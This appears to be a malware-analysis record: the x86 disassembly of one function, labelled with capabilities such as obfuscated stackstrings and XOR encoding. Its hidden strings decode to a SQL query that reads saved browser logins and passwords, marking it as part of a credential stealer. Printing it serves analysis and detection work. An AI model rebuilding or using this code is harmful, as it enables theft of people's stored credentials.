Function at 0x4131bc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x180
mov eax, dword [0x42b8d4]
or byte [0x42b8aa], 0x57
xor eax, 0x12010101
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x28], ecx
or eax, 0x6d7e7c42
mov dword [esp + 0xcc], ebp
push edi
mov dword [0x42b8d4], eax
call fcn.00420053
mov dl, byte [0x42b8d4]
mov ebx, eax
mov cl, dl
xor cl, 0x8a
mov byte [0x42b8aa], cl
test ebx, ebx
je 0x413c38
push 0x54
mov dword [esp + 0x48], 0xb0c7c079
xor ecx, ecx
mov dword [esp + 0x4c], 0xbdbbc3a0
mov edi, 0xff
mov dword [esp + 0x50], 0xb59874c2
mov word [esp + 0x54], 0xb5c8
pop esi
movzx eax, byte [esp + ecx + 0x44]
sub ax, si
and ax, di
mov word [esp + ecx*2 + 0x130], ax
inc ecx
cmp ecx, 0xe
jl 0x413237
xor eax, eax
sub dl, 0x14
mov word [esp + 0x14c], ax
lea eax, [esp + 0x130]
push ebp
push eax
mov byte [0x42b8aa], dl
call fcn.00422def
pop ecx
pop ecx
movzx ecx, byte [0x42b8aa]
mov esi, eax
imul ecx, ecx, 0x14
mov dword [esp + 0xe8], esi
mov byte [0x42b8aa], cl
movzx ecx, cl
sub ecx, 0x11db5070
xor ecx, 0x5978b80c
mov dword [0x42b8d4], ecx
test esi, esi
je 0x413c38
xor cl, 0xb5
mov byte [0x42b8aa], cl
mov ecx, esi
call fcn.00422f59
mov dl, byte [0x42b8aa]
mov ebp, eax
add dl, 0x75
mov dword [esp + 0xcc], ebp
mov byte [0x42b8aa], dl
test ebp, ebp
je 0x413c24
movzx ecx, dl
xor dl, 0x59
add ecx, 0x39b317bd
mov byte [0x42b8aa], dl
and ecx, 0xdb095f28
xor edx, edx
mov dword [0x42b8d4], ecx
mov ecx, ebp
call fcn.00423747
mov cl, byte [0x42b8aa]
mov edi, eax
add cl, 0xd
mov dword [esp + 0xd4], edi
mov byte [0x42b8aa], cl
test edi, edi
je 0x413bf6
movzx ecx, cl
imul eax, ecx, 0xd9
push 0
push 1
movzx eax, al
add eax, 0xe639800d
mov dword [0x42b8d4], eax
movzx eax, al
imul eax, eax, 0xee
mov byte [0x42b8aa], al
lea eax, [esp + 0xe0]
push eax
push edi
call dword [ebx + 4]
add esp, 0x10
test eax, eax
jne 0x413bb6
push 0x5a
pop eax
mov dword [esp + 0x8c], 0x50595046
xor ecx, ecx
mov dword [esp + 0x90], 0x7a354156
mov dword [esp + 0x94], 0x7c727c67
mov dword [esp + 0x98], 0x67604a7b
mov dword [esp + 0x9c], 0x60353979
mov dword [esp + 0xa0], 0x7b677066
mov dword [esp + 0xa4], 0x4a707874
mov dword [esp + 0xa8], 0x60797463
mov dword [esp + 0xac], 0x65353970
mov dword [esp + 0xb0], 0x62666674
mov dword [esp + 0xb4], 0x4a71677a
mov dword [esp + 0xb8], 0x60797463
mov dword [esp + 0xbc], 0x47533570
mov byte [esp + 0xc0], al
mov dword [esp + 0xc1], 0x7a793558
mov dword [esp + 0xc5], 0x667b7c72
mov al, byte [esp + ecx + 0x8c]
xor al, 0x15
mov byte [esp + ecx + 0x150], al
inc ecx
cmp ecx, 0x3d
jl 0x413410
mov al, byte [0x42b8aa]
or esi, 0xffffffff
add al, 0x14
mov byte [esp + 0x18d], 0
or al, 0x48
mov byte [0x42b8aa], al
movzx eax, al
imul eax, eax, 0x98d6aa49
push 0
mov dword [0x42b8d4], eax
lea eax, [esp + 0x1c]
push eax
push esi
lea eax, [esp + 0x15c]
push eax
push dword [esp + 0xe8]
call dword [ebx + 8]
add esp, 0x14
test eax, eax
jne 0x413c43
mov cl, byte [0x42b8aa]
lea edi, [esp + 0x30]
push dword [esp + 0x18]
stosd dword es:[edi], eax
and cl, 0xdb
xor cl, 0x1e
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, cl
add cl, 6
add eax, 0x1bfc36e3
mov byte [0x42b8aa], cl
mov dword [0x42b8d4], eax
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
jne 0x413942
mov ebp, dword [esp + 0x2c]
push 0x54
pop eax
mov dword [esp + 0x54], 0xb9cbd1d4
mov byte [esp + 0x58], 0x9f
mov dword [esp + 0x5c], 0xe287770
mov dword [esp + 0x60], 0x1c130f18
mov dword [esp + 0x64], 0x5d471810
mov dword [esp + 0x1c], 0xf3e6463
mov dword [esp + 0x20], 0x1191d1d
mov word [esp + 0x24], 0xa1c
mov byte [esp + 0x26], al
mov byte [esp + 0x27], 0x4e
mov dword [esp + 0x68], 0xab7c4548
mov dword [esp + 0x6c], 0x9ea4a7ab
mov dword [esp + 0x70], 0xaaa4af9c
mov word [esp + 0x74], 0x75a9
mov byte [esp + 0x76], 0x5b
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x54]
sub al, 0x7f
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 5
jl 0x413520
mov byte [esp + 0x41], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x5c]
xor al, 0x7d
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 0xc
jl 0x413536
mov byte [esp + 0x100], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x1c]
xor al, 0x6e
mov byte [esp + ecx + 0x44], al
inc ecx
cmp ecx, 0xc
jl 0x413552
mov byte [esp + 0x50], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x68]
sub al, 0x3b
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0xf
jl 0x413568
mov byte [esp + 0x12f], dl
mov ecx, edx
mov word [esp + 0x14], 0x5f
mov dword [esp + 0x78], 0x63633033
mov dword [esp + 0x7c], 0x63636363
mov dword [esp + 0x80], 0x63636363
mov dword [esp + 0x84], 0x63636363
mov word [esp + 0x88], 0x3363
mov byte [esp + 0x8a], 0x30
mov al, byte [esp + ecx + 0x78]
sub al, 0x26
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 0x13
jl 0x4135c3
mov byte [esp + 0x117], dl
lea ecx, [esp + 0x30]
push esi
lea edx, [esp + 0x40]
mov dword [0x42b8d4], 0x2c6741ff
mov byte [0x42b8aa], 0x2a
call fcn.004236a5
imul eax, dword [0x42b8d4], 0xbf5772ce
pop ecx
push 0
push dword [esp + 0x1c]
or eax, 0x438fbf5c
mov dword [0x42b8d4], eax
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x20]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.004236a5
pop ecx
mov ecx, dword [0x42b8d4]
lea edx, [esp + 0xf4]
push esi
lea eax, [ecx + 0x23]
sub ecx, 0x17772682
mov dword [0x42b8d4], ecx
lea ecx, [esp + 0x34]
mov byte [0x42b8aa], al
call fcn.004236a5
add dword [0x42b8d4], 0x5162fa70
pop ecx
push 1
push dword [esp + 0x1c]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x20]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.004236a5
xor dword [0x42b8d4], 0x675114f1
lea edx, [esp + 0x48]
pop ecx
push esi
lea ecx, [esp + 0x34]
call fcn.004236a5
movzx eax, byte [0x42b8aa]
pop ecx
imul eax, eax, 0x9b
push 2
push dword [esp + 0x1c]
mov byte [0x42b8aa], al
call dword [ebx + 0x14]
pop ecx
pop ecx
mov cl, byte [0x42b8d4]
mov esi, eax
or cl, 0xd
mov byte [0x42b8aa], cl
test esi, esi
je 0x41385b
sub cl, 0x3a
movzx eax, cl
add cl, 0x18
imul eax, eax, 0x171a36c0
push 2
push dword [esp + 0x1c]
mov byte [0x42b8aa], cl
mov dword [0x42b8d4], eax
call dword [ebx + 0x20]
pop ecx
pop ecx
movzx ecx, byte [0x42b8d4]
mov edi, eax
and ecx, 0xf3
mov eax, ecx
xor eax, 0x9bf9fd00
cmp byte [esi], 0x76
mov dword [esp + 0x2c], eax
jne 0x4137cd
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x4137c9
cmp byte [eax], 0x30
je 0x41373f
cmp byte [eax], 0x31
jne 0x4137c9
and ecx, 0xbfac5d47
lea eax, [esp + 0xe4]
or ecx, 0x11241407
mov edx, edi
mov dword [0x42b8d4], ecx
sub cl, 0x2e
mov byte [0x42b8aa], cl
mov ecx, esi
push eax
call fcn.0040face
mov esi, eax
pop ecx
test esi, esi
je 0x41385b
movzx ecx, byte [0x42b8aa]
mov edx, esi
push dword [esp + 0xe4]
add ecx, 0x63543266
mov dword [0x42b8d4], ecx
xor cl, 0xc7
mov byte [0x42b8aa], cl
lea ecx, [esp + 0x34]
call fcn.00423263
mov al, byte [0x42b8d4]
or al, 0x8b
mov byte [0x42b8aa], al
movzx eax, al
pop ecx
and eax, 0x47645256
push esi
mov dword [0x42b8d4], eax
call fcn.004056f0
jmp 0x41385a
mov eax, dword [esp + 0x2c]
movzx eax, al
mov edx, 0xbedfd981
imul eax, eax, 0x2a
mov dword [esp + 0xf0], esi
mov dword [esp + 0xec], edi
and eax, 0xa0
sub eax, 0x8ad0f95
and eax, 0x182c956d
xor eax, 0x640c61b4
mov dword [0x42b8d4], eax
add al, 0x4a
mov byte [0x42b8aa], al
lea eax, [esp + 0xdc]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x104]
push eax
push 3
pop ecx
call fcn.00415084
call eax
test eax, eax
je 0x41385b
mov al, byte [0x42b8aa]
lea ecx, [esp + 0x30]
push dword [esp + 0xdc]
mov edx, dword [esp + 0xe4]
not al
or dword [0x42b8d4], 0x709bfbaf
and al, 0x14
mov byte [0x42b8aa], al
call fcn.00423263
pop ecx
movzx eax, byte [0x42b8aa]
lea edx, [esp + 0x120]
xor eax, 0xd93fdd7e
lea ecx, [esp + 0x30]
and eax, 0xe6d2bb81
or esi, 0xffffffff
push esi
mov dword [0x42b8d4], eax
call fcn.004236a5
pop ecx
mov cl, byte [0x42b8aa]
mov edx, ebp
movzx eax, cl
and cl, 0xf1
xor eax, 0xfd6fff6d
mov byte [0x42b8aa], cl
and eax, 0x4a968092
lea ecx, [esp + 0x30]
mov dword [0x42b8d4], eax
call fcn.00422d16
mov al, byte [0x42b8aa]
lea edx, [esp + 0x14]
or al, 0xf8
lea ecx, [esp + 0x30]
mov byte [0x42b8aa], al
movzx eax, al
sub eax, 0x7e1be415
push esi
mov dword [0x42b8d4], eax
call fcn.004236a5
mov edx, dword [esp + 0x198]
xor dword [0x42b8d4], 0xed7f16fd
xor byte [0x42b8aa], 0xc6
pop ecx
lea ecx, [esp + 0x30]
call fcn.00422d16
mov eax, dword [0x42b8d4]
lea edx, [esp + 0x104]
mov cl, al
xor eax, 0xe2cdfdf3
sub cl, 0x6d
mov dword [0x42b8d4], eax
or cl, 0x1a
mov byte [0x42b8aa], cl
lea ecx, [esp + 0x30]
push esi
call fcn.004236a5
pop ecx
push dword [esp + 0x18]
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
je 0x41351c
mov ebp, dword [esp + 0xcc]
movzx ecx, byte [0x42b8aa]
imul eax, ecx, 0xe2276e9
cmp dword [esp + 0x30], 0
je 0x413b86
push 0x5a
mov dword [esp + 0x20], 0x191907f6
xor edx, edx
mov dword [esp + 0x24], 0xa18151d
mov esi, 0xff
mov dword [esp + 0x28], 0x1e1ad419
mov byte [esp + 0x2c], 0x1a
pop edi
movzx eax, byte [esp + edx + 0x1c]
add ax, di
and ax, si
mov word [esp + edx*2 + 0x104], ax
inc edx
cmp edx, 0xd
jl 0x413981
and ecx, 0xac44408e
lea edx, [esp + 0xcc]
xor eax, eax
xor ecx, 0x891e8c46
mov word [esp + 0x11e], ax
mov al, cl
or ecx, 0x6ca0b246
xor al, 0x5b
mov dword [0x42b8d4], ecx
mov ecx, dword [esp + 0xd0]
mov byte [0x42b8aa], al
call fcn.00413c4d
mov cl, byte [0x42b8aa]
mov esi, eax
movzx edx, cl
or edx, 0x7594dfc3
test esi, esi
je 0x413b3a
mov edx, dword [esp + 0xcc]
and cl, 0x28
sub cl, 0xd
movzx eax, cl
mov ecx, esi
add eax, 0xac2d2186
mov dword [0x42b8d4], eax
or al, 0xf7
mov byte [0x42b8aa], al
lea eax, [esp + 0xd0]
push eax
call fcn.0040face
mov dl, byte [0x42b8d4]
mov edi, eax
pop ecx
mov cl, dl
xor cl, 0x23
mov byte [0x42b8aa], cl
test edi, edi
je 0x413b20
mov dword [esp + 0x3c], 0x8d733235
xor ecx, ecx
mov word [esp + 0x40], 0x62a1
mov byte [esp + 0x42], 0x48
mov al, byte [esp + ecx + 0x3c]
sub al, 0x28
mov byte [esp + ecx + 0xdc], al
inc ecx
cmp ecx, 7
jl 0x413a53
mov byte [esp + 0xe3], 0
xor ecx, ecx
mov word [esp + 0x14], 0x5255
mov al, byte [esp + ecx + 0x14]
sub al, 0x48
mov byte [esp + ecx + 0x2c], al
inc ecx
cmp ecx, 2
jl 0x413a77
or dl, 0xaf
mov byte [esp + 0x2e], 0
movzx eax, dl
lea ecx, [esp + 0x30]
mov byte [0x42b8aa], dl
and eax, 0xc0f6149e
push 0xffffffffffffffff
lea edx, [esp + 0xe0]
mov dword [0x42b8d4], eax
call fcn.004236a5
add byte [0x42b8aa], 0x98
mov edx, edi
and dword [0x42b8d4], 0xc142161c
pop ecx
push dword [esp + 0xd0]
lea ecx, [esp + 0x34]
call fcn.00423263
movzx eax, byte [0x42b8aa]
lea edx, [esp + 0x30]
pop ecx
xor eax, 0x536e14f5
lea ecx, [esp + 0x30]
push 0xffffffffffffffff
mov dword [0x42b8d4], eax
call fcn.004236a5
mov al, byte [0x42b8d4]
and al, 0xad
mov byte [0x42b8aa], al
movzx eax, al
pop ecx
or eax, 0xebafb14a
push edi
mov dword [0x42b8d4], eax
call fcn.004056f0
pop ecx
mov cl, byte [0x42b8aa]
movzx eax, cl
sub eax, 0x3735f3c9
push esi
mov dword [0x42b8d4], eax
call fcn.004056f0
mov edx, dword [0x42b8d4]
pop ecx
mov ecx, dword [esp + 0x30]
imul eax, edx, 0x3566ae99
mov edx, dword [esp + 0x38]
mov dword [0x42b8d4], eax
lea eax, [esp + 0x104]
push eax
call fcn.0041e192
pop ecx
mov cl, byte [0x42b8aa]
push dword [esp + 0x30]
movzx eax, cl
or cl, 0xb0
or eax, 0x15026e81
mov byte [0x42b8aa], cl
mov dword [0x42b8d4], eax
call fcn.004056f0
mov eax, dword [0x42b8d4]
pop ecx
mov edi, dword [esp + 0xd4]
push dword [esp + 0x18]
or byte [0x42b8aa], 0x7a
mov ecx, 0xf9a71925
imul eax, eax, 0xad6a264
sub ecx, eax
mov dword [0x42b8d4], ecx
call dword [ebx + 0x18]
mov esi, dword [esp + 0xec]
pop ecx
imul eax, dword [0x42b8d4], 0x1fccc24c
push dword [esp + 0xd8]
mov dword [0x42b8d4], eax
call dword [ebx + 0x1c]
movzx eax, byte [0x42b8aa]
imul eax, eax, 0xb1
pop ecx
push edi
mov byte [0x42b8aa], al
movzx eax, al
xor eax, 0xdd1fcdd0
mov dword [0x42b8d4], eax
call fcn.004056f0
pop ecx
and dword [0x42b8d4], 0x3845440c
xor ecx, ecx
push ebp
mov edx, 0x62d87b
inc ecx
call fcn.00415084
call eax
xor byte [0x42b8aa], 0xd6
push ebp
call fcn.004056f0
mov dl, byte [0x42b8aa]
pop ecx
movzx eax, dl
and eax, 0xd0540e88
push esi
mov dword [0x42b8d4], eax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x180
ret
mov eax, dword [0x42b8d4]
jmp 0x413b8d